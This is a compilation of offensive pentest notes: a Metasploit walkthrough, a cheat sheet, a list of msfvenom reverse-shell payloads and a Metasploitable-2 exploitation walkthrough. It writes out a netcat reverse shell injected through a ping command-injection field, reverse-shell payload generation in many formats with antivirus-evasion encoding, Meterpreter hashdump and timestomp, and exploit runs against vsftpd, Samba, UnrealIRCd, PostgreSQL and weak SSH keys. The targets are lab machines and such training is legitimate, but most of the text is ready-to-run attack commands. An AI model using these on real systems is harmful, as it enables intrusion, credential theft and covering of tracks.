Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.1.100     yes       The listen address (an interface may be specified)
   LPORT  1234             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
```

It looks like we're good to go. Type **run** to launch the handler, and it's now ready and waiting for an incoming connection.

```unknown
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.1.100:1234
```

### Step 2 Get Shell with Netcat <a href="#jump-step2" id="jump-step2"></a>

Netcat is a powerful networking utility commonly used to troubleshoot connectivity issues, but it can also be utilized as a backdoor via command shells. We can use this tool, coupled with a command injection vulnerability, to spawn a shell and connect back to our local machine. If all goes well, the handler that we set up earlier will catch the shell and we'll be able to issue commands.

This vulnerability lets us append system commands to the input for the ping utility.

```unknown
127.0.0.1 && nc 172.16.1.100 1234 -e /bin/sh
```

Here, we've tacked on the Netcat command to spawn a shell and connect to our local machine on port 1234:

<figure><img src="/files/ztJI1KuvzrMHUV7hW8gq" alt=""><figcaption></figcaption></figure>

After a moment, back in the terminal with our handler, we see that a session is opened up. We can now issue commands like **id** and **uname -a** to verify this.

```unknown
[*] Sending stage (36 bytes) to 172.16.1.102
[*] Command shell session 1 opened (172.16.1.100:1234 -> 172.16.1.102:53462) at 2019-01-29 15:28:28 -0600

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Finally, we need to background this session by pressing *Ctrl-Z*, followed by *Y* to confirm.

```unknown
^Z
Background session 1? [y/N]  y
msf5 exploit(multi/handler) >
```

### Step 3 Elevate Shell to Meterpreter Session <a href="#jump-step3" id="jump-step3"></a>

Now that we have attained a session on the target, we can upgrade that humble shell to a full-fledged Meterpreter session. This will allow for greater flexibility when it comes to interacting with the target.

In order to view any sessions that are currently open, type **sessions** at the prompt. Below, we can see the session we opened earlier, along with its ID, shell type, and connection information.

```unknown
msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type             Information  Connection
  --  ----  ----             -----------  ----------
  1         shell x86/linux               172.16.1.100:1234 -> 172.16.1.102:53462 (172.16.1.102)
```

The easiest way to transform a regular session into a Meterpreter session is to use the **-u** flag. Issue the sessions command with the appropriate ID and watch the magic happen.

```unknown
msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.1.100:4433
[*] Sending stage (914728 bytes) to 172.16.1.102
[*] Meterpreter session 2 opened (172.16.1.100:4433 -> 172.16.1.102:42790) at 2019-01-29 15:30:28 -0600
[*] Command stager progress: 100.00% (773/773 bytes)
```

Now it seems like nothing really happened, but in fact, we've opened a Meterpreter session in the background — it doesn't automatically drop us into it. If we issue the **sessions** command again, it will list our new Meterpreter session with an ID of 2. We can then use the **-i** flag to interact with it.

```unknown
msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

And now we have a Meterpreter shell. However, there is one other way to elevate a normal shell to a Meterpreter session that is similar to the method outlined above, and that is to manually use the **shell\_to\_meterpreter** post-exploitation module.

### Alternative Way to Elevate Shell to Meterpreter Session <a href="#jump-alternativewaytoelevateshelltometerpretersession" id="jump-alternativewaytoelevateshelltometerpretersession"></a>

To load it, type the following.

```unknown
use post/multi/manage/shell_to_meterpreter
```

All we have to do is specify the existing session we want to upgrade. After that, just to be sure, we can view the current settings with the **options** command.

```unknown
msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION  1                yes       The session to run this module on.
```

Type **run** to kick it off.

```unknown
msf5 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.1.100:4433
[*] Sending stage (914728 bytes) to 172.16.1.102
[*] Meterpreter session 3 opened (172.16.1.100:4433 -> 172.16.1.102:59832) at 2019-01-29 15:34:16 -0600
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
```

Again, this opens up the new session in the background, so we have to issue the **sessions** command to determine the correct ID.

```unknown
msf5 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information  Connection
  --  ----  ----                   -----------  ----------
  1         shell x86/linux                     172.16.1.100:1234 -> 172.16.1.102:53462 (172.16.1.102)
  3         meterpreter x86/linux               172.16.1.100:4433 -> 172.16.1.102:59832 (172.16.1.102)
```

We can see that this new Meterpreter session has an ID of 3. Now we are ready to interact with it.

```unknown
msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...

meterpreter >
```


# Metasploit Cheatsheet

Source https\://docs.metasploit.com/

**Metasploit Cheat Sheet**

[![](https://github.com/security-cheatsheet/metasploit-cheat-sheet/raw/master/image/rapid7.png)](https://github.com/security-cheatsheet/metasploit-cheat-sheet/blob/master/image/rapid7.png)![](https://github.com/security-cheatsheet/metasploit-cheat-sheet/raw/master/image/metasploit.png)

The Metasploit Project is a computer security project that provides information on vulnerabilities, helping in the development of penetration tests and IDS signatures.

Metasploit is a popular tool used by pentest experts. I have prepared a document for you to learn.

**Metasploit :**

**Search for module:**

```
msf > search [regex]
```

**Specify and exploit to use:**

```
msf > use exploit/[ExploitPath]
```

**Specify a Payload to use:**

```
msf > set PAYLOAD [PayloadPath]
```

**Show options for the current modules:**

```
msf > show options
```

**Set options:**

```
msf > set [Option] [Value]
```

**Start exploit:**

```
msf > exploit 
```

**Useful Auxiliary Modules**

**Port Scanner:**

```
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
```

**DNS Enumeration:**

```
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run
```

**FTP Server:**

```
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run
```

**Proxy Server:**

```
msf > use auxiliary/server/socks4
msf > run 
```

**msfvenom :**

The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the former msfpayload and msfencode tools. Run with ‘'-l payloads’ to get a list of payloads.

```
$ msfvenom –p [PayloadPath]
–f [FormatType]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]
```

Example :

Reverse Meterpreter payload as an executable and redirected into a file:

```
$ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe
```

Format Options (specified with –f)\
&#x20;\--help-formats – List available output formats\
exe – Executable pl – Perl rb – Ruby raw – Raw shellcode c – C code

Encoding Payloads with msfvenom

The msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with '-l encoders' to get a list of encoders.

```
$ msfvenom -p [Payload] -e [Encoder] -f
[FormatType] -i [EncodeInterations]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]
```

Example

Encode a payload from msfpayload 5 times using shikata-ga-nai encoder and output as executable:

```
$ msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe
```

**Metasploit Meterpreter**

**Base Commands:**

```
? / help: Display a summary of commands exit / quit: Exit the Meterpreter session
sysinfo: Show the system name and OS type
shutdown / reboot: Self-explanatory
File System Commands:
cd: Change directory
lcd: Change directory on local (attacker's) machine
pwd / getwd: Display current working directory
ls: Show the contents of the directory
cat: Display the contents of a file on screen
download / upload: Move files to/from the target machine
mkdir / rmdir: Make / remove directory
edit: Open a file in the default editor (typically vi)
Process Commands:
getpid: Display the process ID that Meterpreter is running inside.
getuid: Display the user ID that Meterpreter is running with.
ps: Display process list.
kill: Terminate a process given its process ID.
execute: Run a given program with the privileges of the process the Meterpreter is loaded in.
migrate: Jump to a given destination process ID
```

* Target process must have same or lesser privileges
* Target process may be a more stable process
* When inside a process, can access any files that process has a lock on.

**Network Commands:**

```
ipconfig: Show network interface information
portfwd: Forward packets through TCP session
route: Manage/view the system's routing table
```

**Misc Commands:**

```
idletime: Display the duration that the GUI of thetarget machine has been idle.
uictl [enable/disable] [keyboard/mouse]: Enable/disable either the mouse or keyboard of the target machine.
screenshot: Save as an image a screenshot of the target machine.
```

**Additional Modules:**

```
/use [module]: Load the specified module
Example:
use priv: Load the priv module
hashdump: Dump the hashes from the box
timestomp:Alter NTFS file timestamps
```

**Managing Sessions**

**Multiple Exploitation:**

Run the exploit expecting a single session that is immediately backgrounded:

```
msf > exploit -z
```

Run the exploit in the background expecting one or more sessions that are immediately backgrounded:

```
msf > exploit –j
```

**List all current jobs (usually exploit listeners):**

```
msf > jobs –l
```

**Kill a job:**

```
msf > jobs –k [JobID]
```

**Multiple Sessions:**

**List all backgrounded sessions:**

```
msf > sessions -l
```

**Interact with a backgrounded session:**

```
msf > session -i [SessionID]
```

**Background the current interactive session:**

```
meterpreter > <Ctrl+Z>
or
meterpreter > background
```

**Routing Through Sessions:**

All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session.

```
msf > route add [Subnet to Route To]
[Subnet Netmask] [SessionID]
```


# msfvenom

Source https\://docs.metasploit.com/

Always use known port for lhost like , 53, 443, 8080 as most of time firewall will block unknown ports traffic and you will not get connection back

## List available formats

```
msfvenom --list formats
```

## List available payloads for specific platform

```
msfvenom --payload --list-options | grep windows
```

## Windows

### bat reverse shell

mostly used with **JuicyPotato** exploit

```
msfvenom -p cmd/windows/reverse_powershell lhost=10.10.12.15 lport=4444 > shell.bat
```

### exe reverse shell

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe
```

### Powershell

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
```

### x64 Bit payload

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe
```

### Embedded payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
# Windows reverse shell embedded into plink  
```

## Linux

### bind shell

```
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c
```

### reverse shell

```
msfvenom  -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f c
```

## Other Platforms

### php reverse shell

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php
```

### aspx reverse shell

```
msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.16.3 LPORT=4444 > shell.aspx
```

### Java WAR reverse shell

Most time will used to get shell on tomcat&#x20;

```
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war
```

### jsp reverse shell

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
```

### python reverse shell

```
msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
```


# searchploit

### Searchsploit

Useful to search exploits for services in **exploitdb from the console.**

```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
searchsploit apache mod_ssl #Other example
searchsploit -m 7618 #Paste the exploit in current directory
searchsploit -p 7618[.c] #Show complete path
searchsploit -x 7618[.c] #Open vi to inspect the exploit
searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```


# Metasploitable-2

This tutorial is sourced from Bob1Bob2 Pentest Notes

#### Reconnaissance&#x20;

* netdiscover
* Nmap
* Metasploit
* smbclient
* enum4linux
* Nikto

Use netdiscover to detect target IP address

```bash
netdiscover -i eth0 -r 192.168.79.0/24
```

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_001.png" alt=""><figcaption></figcaption></figure>

192.168.79.179 is the target.

Then run nmap to detect opening ports and running services on the target machine.

`nmap -sV -v -O -A -T5 192.168.79.179 -p-`

<table><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre class="language-bash" data-full-width="true"><code class="lang-bash">e-scanning.
Initiating NSE at 15:46
Completed NSE at 15:46, 0.00s elapsed
Initiating NSE at 15:46
Completed NSE at 15:46, 0.00s elapsed
Initiating ARP Ping Scan at 15:46
Scanning 192.168.79.179 [1 port]
Completed ARP Ping Scan at 15:46, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:46
Completed Parallel DNS resolution of 1 host. at 15:46, 2.04s elapsed
Initiating SYN Stealth Scan at 15:46
Scanning 192.168.79.179 [65535 ports]
Discovered open port 21/tcp on 192.168.79.179
Discovered open port 23/tcp on 192.168.79.179
Discovered open port 80/tcp on 192.168.79.179
Discovered open port 22/tcp on 192.168.79.179
Discovered open port 3306/tcp on 192.168.79.179
Discovered open port 5900/tcp on 192.168.79.179
Discovered open port 139/tcp on 192.168.79.179
Discovered open port 111/tcp on 192.168.79.179
Discovered open port 445/tcp on 192.168.79.179
Discovered open port 53/tcp on 192.168.79.179
Discovered open port 25/tcp on 192.168.79.179
Discovered open port 2049/tcp on 192.168.79.179
Discovered open port 6697/tcp on 192.168.79.179
Discovered open port 52739/tcp on 192.168.79.179
Discovered open port 5432/tcp on 192.168.79.179
Discovered open port 513/tcp on 192.168.79.179
Discovered open port 57206/tcp on 192.168.79.179
Discovered open port 6000/tcp on 192.168.79.179
Discovered open port 514/tcp on 192.168.79.179
Discovered open port 8787/tcp on 192.168.79.179
Discovered open port 1524/tcp on 192.168.79.179
Discovered open port 1099/tcp on 192.168.79.179
Discovered open port 47980/tcp on 192.168.79.179
Discovered open port 8009/tcp on 192.168.79.179
Discovered open port 3632/tcp on 192.168.79.179
Discovered open port 2121/tcp on 192.168.79.179
Discovered open port 8180/tcp on 192.168.79.179
Discovered open port 6667/tcp on 192.168.79.179
Discovered open port 57218/tcp on 192.168.79.179
Discovered open port 512/tcp on 192.168.79.179
Completed SYN Stealth Scan at 15:46, 0.83s elapsed (65535 total ports)
Initiating Service scan at 15:46
Scanning 30 services on 192.168.79.179
Completed Service scan at 15:48, 141.15s elapsed (30 services on 1 host)
Initiating OS detection (try #1) against 192.168.79.179
NSE: Script scanning 192.168.79.179.
Initiating NSE at 15:48
Completed NSE at 15:49, 62.29s elapsed
Initiating NSE at 15:49
Completed NSE at 15:49, 1.02s elapsed
Nmap scan report for 192.168.79.179
Host is up (0.00013s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after:  2010-04-16T14:07:45
| MD5:   dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
|_ssl-date: 2016-06-22T20:48:28+00:00; -23s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
53/tcp    open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      40038/udp  mountd
|   100005  1,2,3      47980/tcp  mountd
|   100021  1,3,4      36995/udp  nlockmgr
|   100021  1,3,4      57218/tcp  nlockmgr
|   100024  1          52739/tcp  status
|_  100024  1          60788/udp  status
139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  shell       Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 53
|   Version: .0.51a-3ubuntu5
|   Thread ID: 10
|   Capabilities flags: 43564
|   Some Capabilities: LongColumnFlag, Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake, SupportsCompression, Speaks41ProtocolNew, ConnectWithDatabase
|   Status: Autocommit
|_  Salt: 0o_q:k/GUV24Mf&#x3C;6:aZ~
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after:  2010-04-16T14:07:45
| MD5:   dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
|_ssl-date: 2016-06-22T20:48:28+00:00; -22s from scanner time.
5900/tcp  open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    Unknown security type (33554432)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         Unreal ircd
6697/tcp  open  irc         Unreal ircd
| irc-info: 
|   users: 2
|   servers: 1
|   lusers: 2
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN 
|   uptime: 0 days, 0:37:22
|   source ident: nmap
|   source host: DCF8F1B0.E9B94EC6.FFFA6D49.IP
|_  error: Closing Link: jpmvzpmdu[192.168.79.173] (Quit: jpmvzpmdu)
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
47980/tcp open  mountd      1-3 (RPC #100005)
52739/tcp open  status      1 (RPC #100024)
57206/tcp open  unknown
57218/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 00:0C:29:B1:FE:27 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.023 days (since Wed Jun 22 15:16:04 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
\| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: \<unknown>, NetBIOS MAC: \<unknown> (unknown)
\| Names:
\|   METASPLOITABLE<00>   Flags: \<unique>\<active>
\|   METASPLOITABLE<03>   Flags: \<unique>\<active>
\|   METASPLOITABLE<20>   Flags: \<unique>\<active>
\|   WORKGROUP<00>        Flags: \<group>\<active>
|\_  WORKGROUP<1e>        Flags: \<group>\<active>
\| smb-os-discovery:
\|   OS: Unix (Samba 3.0.20-Debian)
\|   NetBIOS computer name:
\|   Workgroup: WORKGROUP
|\_  System time: 2016-06-22T16:48:29-04:00

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms 192.168.79.179

NSE: Script Post-scanning.
Initiating NSE at 15:49
Completed NSE at 15:49, 0.00s elapsed
Initiating NSE at 15:49
Completed NSE at 15:49, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 209.95 seconds
Raw packets sent: 65555 (2.885MB) | Rcvd: 65552 (2.623MB) </code></pre></td><td><pre><code>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205 </code></pre></td></tr></tbody></table>

#### vsftpd exploit (port 21):

search vsftpd

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_002.png" alt=""><figcaption></figcaption></figure>

<table><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre class="language-bash"><code class="lang-bash">msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > set rhost 192.168.79.179
msf exploit(vsftpd_234_backdoor) > exploit 
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

get the root:

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_003.png" alt=""><figcaption></figcaption></figure>

#### postgresql exploit

get meterpreter:

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_004.png" alt=""><figcaption></figcaption></figure>

```bash
msf > use exploit/linux/postgres/postgres_payload
msf exploit(postgres_payload) > set rhost 192.168.79.179
msf exploit(postgres_payload) > exploit
```

#### SSH exploit (port 22):

Getting access to a system with a writeable filesystem

[add\_ssh\_key.py](https://github.com/wg135/script/blob/master/add_ssh_key.py)

Since the nmap shows the openssh version is 4.7. I googled it and find it use Openssl 0.9.8g

search openssl exploit:

`searchsploit openssl`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_019.png" alt=""><figcaption></figcaption></figure>

Looks like these exploits can be used. The vulnerability is CVE-2008-0166.

I use 5720.py.

First, download precalculated vulnerable keys

`wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2`

unzip it

`tar jxf 5622.tar.bz2`

run the command:

`python 5720.py rsa/2048/ 192.168.79.179 root 22 5`

rsa/2048 is the folder contains the keys.

Found keys:

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_020.png" alt=""><figcaption></figcaption></figure>

login the box:

`ssh -l root -p22 -i rsa/2048//c551f0a5d2f76d88b58b3ae90ceb617a-22002 192.168.79.179`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_021.png" alt=""><figcaption></figcaption></figure>

#### TELNET exploit

in msfconsole, search telnet

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.79.179
msf auxiliary(telnet_version) > run
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

In the banner, shows username/password

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_025.png" alt=""><figcaption></figcaption></figure>

or you can just `telnet 192.168.79.179` to grab the banner.

login

`telnet 192.168.79.179 -l msfadmin`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_026.png" alt=""><figcaption></figcaption></figure>

#### Twiki (port 80)

Nagviate to port 80. there is a Twiki, search twiki, find a exploit

`exploit/unix/webapp/twiki_history`

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use  exploit/unix/webapp/twiki_history
msf exploit(twiki_history) > set rhost 192.168.79.179
msf exploit(twiki_history) > exploit
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_028.png" alt=""><figcaption></figcaption></figure>

#### phpinfo.php

Use nikto, I found the page phpinfo.php is availabe.

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_029.png" alt=""><figcaption></figcaption></figure>

I got the php version is 5.2.4.

search the php\_cgi

found the exploit `exploit/multi/http/php_cgi_arg_injection`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_030.png" alt=""><figcaption></figcaption></figure>

may be the vulberable version.

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre class="language-bash"><code class="lang-bash">msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set rhost 192.168.79.179
msf exploit(php_cgi_arg_injection) > exploit
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_031.png" alt=""><figcaption></figcaption></figure>

#### SMB exploit:

Enumerate smtp:

`enum4linux 192.168.79.179`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_005.png" alt=""><figcaption></figcaption></figure>

looks like [wide links](https://www.samba.org/samba/news/symlink_attack.html)

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set rhost 192.168.79.179
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
</code></pre></td><td><pre><code>1
2
3
4
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_006.png" alt=""><figcaption></figcaption></figure>

looks good

now use smbclient to login

`smbclient //192.168.79.179/tmp`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_007.png" alt=""><figcaption></figcaption></figure>

since the samba version is 3.0.20, I found this module:

`exploit/multi/samba/usermap_script`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_022.png" alt=""><figcaption></figcaption></figure>

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set rhost 192.168.79.179
msf exploit(usermap_script) > exploit
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_023.png" alt=""><figcaption></figcaption></figure>

#### Unreal ircd exploit

`msf > search unreal ircd`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_008.png" alt=""><figcaption></figcaption></figure>

same version

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set rhost 192.168.79.179
msf exploit(unreal_ircd_3281_backdoor) > exploit
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_009.png" alt=""><figcaption></figcaption></figure>

#### Java-rmi (port 1099)

Nmap shows port 1099 rmiregistry GNU Classpath grmiregistry

